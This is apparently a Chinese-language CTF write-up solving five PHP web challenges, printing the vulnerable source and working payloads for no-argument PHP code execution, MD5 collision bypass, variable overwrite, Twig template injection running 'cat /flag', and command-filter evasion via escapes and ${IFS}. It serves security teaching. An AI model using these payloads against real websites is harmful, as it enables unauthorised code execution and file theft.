1、[GXYCTF2019]禁止套娃 1
考点:git 泄露
进入靶场后只有一串文字,源代码、抓包之类的都没有敏感信息出现,直接用 kali 的 dirsearch 扫描
发现存在 .git 目录,猜测应该是源码泄露,使用 GitHack 扒一下源码,这里我试了很多次,前面都没成功,后面不知道为什么又成功了,应该是网络问题(你们试了不行多试几次吧!)
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
【代码审计】
这条 if 语句把 PHP 伪协议、filter 协议、data 协议,给过滤掉了
这里其实是无参数 REC 的特征
无参数读文件和RCE总结 - 知乎 (zhihu.com)
无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客
这里使用 preg_replace 替换匹配到的字符为空,匹配字母和下划线,然后 (?R)? 这个意思为递归整个匹配模式
所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有 ' ; '
【举个例子】
a(b(c())); 可以使用,但是 a('b') 或者 a('b','c') 这种含有参数的都不能使用,所以我们要使用无参数的函数进行文件读取或者命令执行
【解题思路一】
正常的可以用 ?exp=print_r(scandir('.')); 来查看当前目录所有文件名,但是 scandir('.') 包含参数了,不符合条件,所以需要使用别的函数来替代 '.' 。
【第一步】
如何构造这个 . 我们可以使用 localeconv () 函数
localeconv () 返回一包含本地数字及货币格式信息的数组。而数组第一项就是
"."
【第二步】
获取 localeconv () 的第一项(也就是那个 .)
可以使用 current () ,该函数返回数组的单元,默认取第一个值。
pos () 是 current () 的别名,也可以用来获取第一个值,reset () 该函数也是返回数组第一个单元的值,如果数组为空则返回 FALSE
构造 payload
?exp=print_r(scandir(pos(localeconv())));
?exp=print_r(scandir(reset(localeconv())));
?exp=print_r(scandir(current(localeconv())));
三个都试试,一个被过滤了用另一个,获取点的方法也有很多,比如 chr(49) 也是一个点,里面的 49 可以用函数替代,比如 time () 等等。
由数组的结构可以看出 flag.php 在数组的倒数第二个,我们需要想办法获取
可以使用 array_reverse () 把数组的位置换一下
?exp=print_r(array_reverse(scandir(current(localeconv()))));
flag.php 从倒数第二个变到第二个了,接下来就可以使用 next () 函数来获取该元素。next () 输出数组中的当前元素和下一个元素的值,当前元素是 index.php ,下一个元素也就是 flag.php
最后就差一个读取文件的函数了,可以读取文件的函数有 readfile ()、highlight_file () 、file_get_contents () 等。通过代码我们看到已经给我们提供了 highlight_file () 函数了,直接用它就好了。
构造 payload
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
注意: print_r 在这里就不要了,这里我们需要直接读取文件, print_r 的作用只是打印数组的结构,然我们更直观看到 flag.php 在数组中的位置
【解题思路二】
上面的正则过滤中,并没有过滤掉 session_id () 。所以我们可以使用 session_id () 来获取 flag。session_id () 可以用来获取 / 设置当前会话 ID,我们在使用 session_id () 的时候,需要使用 session_start () 来开启 session 会话
PHPSESSID 是什么?-晓白博客网 (xbnb.cn)
payload:
?exp=highlight_file(session_id(session_start()));
然后抓包,在最后一行添加
cookie:PHPSESSID=flag.php
发送即可在响应处获得 flag
2、[安洵杯 2019]easy_web 1
考点:编码转换 + 代码审计 + MD5强碰撞
进入靶场,看到 URL 有 cmd 参数,猜测是命令注入漏洞
尝试无果,应该是方向错了,然后发现后面有一串 base64 编码的字符串,去解个码,base64 解码两次得到十六进制字符串
再进行十六进制转ASCII
在线16进制字符串转ASCII码工具 - 在线工具网 (hiofd.com)
是一张图片,我们试试把 flag.php 编码成上面的格式,得到
TmpZMll6WXhOamN5WlRjd05qZzNNQT09
访问后得到这个页面,显示 no flag,不过思路这样应该是对的
flag.php 不行就试试其他的,比如 index.php 这些
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
这个其实挺难想到的,开始我也没想到,看了大佬 wp 才知道,因为前面有个地方干扰到我了,这一串我前面试了很多又是解码又是转图片转文件都没解出来,我以为这个位置的数据没什么用,导致后面没去理这块地方(没猜错的话应该是这个熊猫图的编码,不过不知道为什么转码转不出来)
回归正题
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
【代码审计】
对 img 的值先转十六进制再进行两类 base64 编码,前面我们已经分析过了
正则过了 URL ,然后过滤掉 flag (大小写不敏感)
如果符合条件就把数据打印出来
就是这里,前面没有源码我们只能猜测,现在有源码一切都清楚了
下面的代码把 cmd 一些常用的命令过滤掉了
下面代码的意思是 a,b 两个变量的值不同,但是经过 MD5 加密后值强比较要相同,这个百度一下就可以了
md5强比较的几种绕过,强碰撞,shal强比较的几种绕过,强碰撞-CSDN博客
这里因为转为了 string 所以要使用强碰撞绕过,不能使用数组绕过
抓包这里搞死了,我弄了好久不知道为什么都不行,get 改成 post 也不行,一直显示 md5 is funny ~ 后来去小破站看了大佬的讲解视频才解决,先使用浏览器的工具 HackBar 或者 Max HackBar 都可以,在传的时候进行抓包就可以解决这个问题了
这里帮大家找了两个,直接用就可以了
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
打开 Max HackBar 在 Execution 的时候进行抓包,就不需要手动修改传参方式,前面应该是这里的问题,导致我一直无法成功,但是会发现之前传 a、b 值里的 % 变成了 %25 ,被转码了
我们只需要重新传 a、b 的值就好了
发现已经绕过 MD5 了
接下来就是使用 cmd 命令来获取 flag ,由于 cmd 大部分命令被过滤了,我们不能直接使用,比如 ls 我们可以使用 l\s 来绕过,注意在 Burp 中 空格 要用 %20 来代替
发现 flag,用命令获取
ca\t%20/flag
3、[BJDCTF2020]Mark loves cat 1
考点:git 泄露 + 变量覆盖
进入靶场,页面和源码没什么提示,很接近实战的题目,那就直接用 dirsearch 扫目录,发现存在 .git 目录,猜测是 git 泄露
使用 GitHack 提取源码,我在 kali 的 GitHack 提了半天,没开玩笑,我快哭了,后面直接换 window 提出来了。。。。。。
flag.php 内容
<?php
$flag = file_get_contents('/flag');
index.php 拉倒最后就可以看到 PHP 代码了
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
【代码审计】
存在 flag.php 文件,但是直接访问是得不到的,应该是被过滤了,我们往下分析代码
foreach () 语句将遍历数组 array,每次循环时,将当前数组中的值赋给 value (或者 key 和 value),同时,数组指针向后移动知道遍历结束。使用 foreach 语句时,数组指针将自动被重置,所以不需要手动设置指针位置
foreach 有两种语法
语法一:
<?php
$abc = array("porsche","nba","volvo");
foreach($abc as $key)
echo "$key.<br>";
?>
//结果
/*
porsche
nba
volvo
*/
语法二:
<?php
$age=array("kali"=>"12,"ruoc"=>"56","yuy"=>"57");
foreach($age as $x=>$a_value){
echo "key=" . $x . ", value=" . $a_value;
echo "<br>";
}
?>
//结果
/*
key= kali , value= 12
key= ruoc , value= 56
key= yuy , value= 57
*/
意思就是传入的 POST 值会经过这里,比如传入 flag=flag,得到 $x=flag,$y=flag,经过下面的代码后变成 $$x => $flag ; $$x = $y 就变成 $flag = flag
传入的 GET 值会经过这里,比如传入 is=flag,得到 $x=is,$y=flag,经过下面的代码,变成 $is=$flag
($x 保存的是键名,$y 保存的是键值,不理解的看看上面 foreach 语法的方法二)
这里的意思是要你传入 flag 变量,且变量值不能为 flag
exit () PHP内置函数,用于输出消息并终止当前脚本
要满足 POST 和 GET 方法的参数 flag 都不存在才会执行代码块
满足 POST 或者 GET 方法的参数 flag=flag,才会执行 exit()
由最后一行我们可以知道 flag 变量里面保存的是 flag 值
其实本题的做法就是构造变量值,经过前面 foreach 的操作使 exit 中的参数变成变量 $flag(也就是变量覆盖),使其满足三个 if 条件中的一个,从而执行 $flag 得到 flag,而不是说要绕过三个 if ,去执行最后一行代码,这是不现实的。
演示三种方法
一、使其满足下图的 if 条件
构造 payload
?handsome=flag&flag=handsome
构造完先经过下图代码后再经过上图代码
$x=handsome $y=flag => $handsome=$flag,这样就实现了变量覆盖
当轮到下图代码的时候
$x=handsome $y=flag
flag=handsome=$x
所以:flag=handsome && handsome !== 'flag' 满足条件
二、使其满足下图的 if 条件
这里要求不存在 flag 参数,那就比较好办
直接构造
?yds=flag
三、使其满足下图的 if 条件
配合这块代码
构造 payload
?is=flag&flag=flag
经过 foreach 后变成 $is=$flag,又因为 flag=flag 满足 if 条件,所以 exit($is) 变成 exit($flag) 得到 flag
打开源代码拉倒最后就可以看到了
4、[BJDCTF2020]Cookie is so stable 1
考点:模板注入(Twig 模块)
【SSTI 测试流程图】
可以通过这个流程图去测试,判断是什么类型的模版注入
【解题思路】
进入靶场,输入框谁便输入,发现都原样输出了,猜测是 SSTI 模版注入,接下来我们需要判断是什么类型的模版注入,输入 {{7*'7'}},返回结果是 49
根据流程图我们可以判断出使用的是 Twig 模块
Twig 模块注入有固定的格式
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag
Twig 模板注入从零到一 - 先知社区 (aliyun.com)
_self 是 Twig 中的全局变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environment 的 env 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法,从而进行 SSTI
【上述方法只在 Twig 1.x 中适用,因为在 Twig 2.x 和 3.x 中 _self 的作用发生了变化,只能返回当前实例名字符串】
我们抓包看一下注入点在哪
发现 cookie 中存在 user 且内容是我们输入的内容,猜测注入点在那里(题目其实也提醒我们了),重新抓包测试一下
flag 的位置需要我们猜,不过这题比较简单,直接就出来了
flag{1fb7c1b8-7fcb-4691-9623-6d8fcd46f976}
5、[WUSTCTF2020]朴实无华 1
考点:目录扫描 + 响应头 + 代码审计 + 命令注入 + 一些绕过技巧的考察
访问看看
F12 查看一下数据包情况,发现 fl4g.php
访问看一下
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
intval() 函数用于获取变量的整数值。
这一部分是判断 num 的值,要 num 的值取整后小于 2020 且加一后 大于 2021
这一部分判断变量 $md5 ,要满足变量 md5 的值经过 md5 加密后与原来相同(弱比较)
strstr() 函数搜索字符串在另一字符串中的第一次出现。
【举个例子】
<?php
echo strstr("I love Shanghai!","v");
?>
运行结果:
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)
【举个例子】
把字符串 "Hello world!" 中的字符 "WORLD"(不区分大小写)替换成 "Shanghai"
<?php
echo str_ireplace("WORLD","Shanghai","Hello world!");
?>
运行结果:
所以上面代码的大概意思是用 GET 方法获取 get_flag 的值然后传给变量 $get_flag,使用 strstr () 函数寻找字符串中空格首次出现的位置,如果不存在空格则返回 false ,但是由于前面有个取反符号,所以不存在空格才是符合条件的。进入循环后,使用 str_ireplace () 函数将 $get_flag 中的 cat 替换成 wctf2020 ,然后调用 system () 函数
【解题思路】
绕过第一部分的 intval ,intval 函数参数填入科学计数法的字符串,会以 e 前面的数组作为返回值而对于科学计数法 + 数字则会返回字符串类型(只适用 php 7.0 以下的版本)
所以我们构造一个科学计数法的值,payload:'1e4'
1e4 = 10000
所以 intval('1e4') = 1 ;intval('1e4' + 1) = 10001
接下来要绕过 md5 那一部分,
0e 开头的字符串在参与比较时,会被当做科学计数法,结果转换为 0,所以我们只需要找到一个科学数,然后进过 md5 加密后仍然是以 0e 开头的即可
0e215962017
md5(0e215962017) = 0e291242476940776845150308577824
所以
0e215962017 = 0e291242476940776845150308577824
比较过程变成
0 = 0
构造 payload
?num=1e4&md5=0e215962017
根据打印结果我们可以判断出我们确实绕过了前两个条件
接着构造 system 执行命令,查看目录
/fl4g.php?num=1e4&md5=0e215962017&get_flag=ls
由于 cat 被过滤了,无法直接查看目标文件,我们可以加转义字符来绕过
但是又不能出现空格,所以我们还需要绕过空格 ${IFS}$9,接下来就可以读取我们的 flag 了
/fl4g.php?num=1e4&md5=0e215962017&get_flag=ca\t${IFS}$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag